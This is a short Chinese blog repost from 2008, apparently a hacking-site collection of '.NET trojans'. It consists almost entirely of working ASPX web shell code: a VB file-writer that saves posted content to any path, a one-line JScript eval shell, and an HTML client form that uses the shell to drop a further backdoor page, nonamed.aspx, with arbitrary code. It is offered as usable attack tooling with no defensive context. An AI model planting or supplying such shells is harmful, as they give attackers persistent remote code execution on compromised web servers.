查看文章 |
几个.net的马
2008-02-05 01:10
来源：红狼 1k 的 <%@ Page Language="VB" %> <%@ import Namespace="System.IO" %> <script runat="server"> Sub Page_load(sender As Object, E As EventArgs) dim mywrite as new streamwriter(request.form("path"), true, encoding.default) mywrite.write(request.form("content")) mywrite.close response.write("Done!") End Sub </script> --------------------------- .net的一句话 <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE> ASPX one line Code Client by amxku</TITLE> </HEAD> <BODY> <form action=http://127.0.0.1/test.aspx method=post> <textarea name=z cols=120 rows=10 width=45> var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false); nonamed.Write(Request.Item["l"]); nonamed.Close(); </textarea> <textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br> <input type=submit value=提交> </BODY> </HTML> |
最近读者：
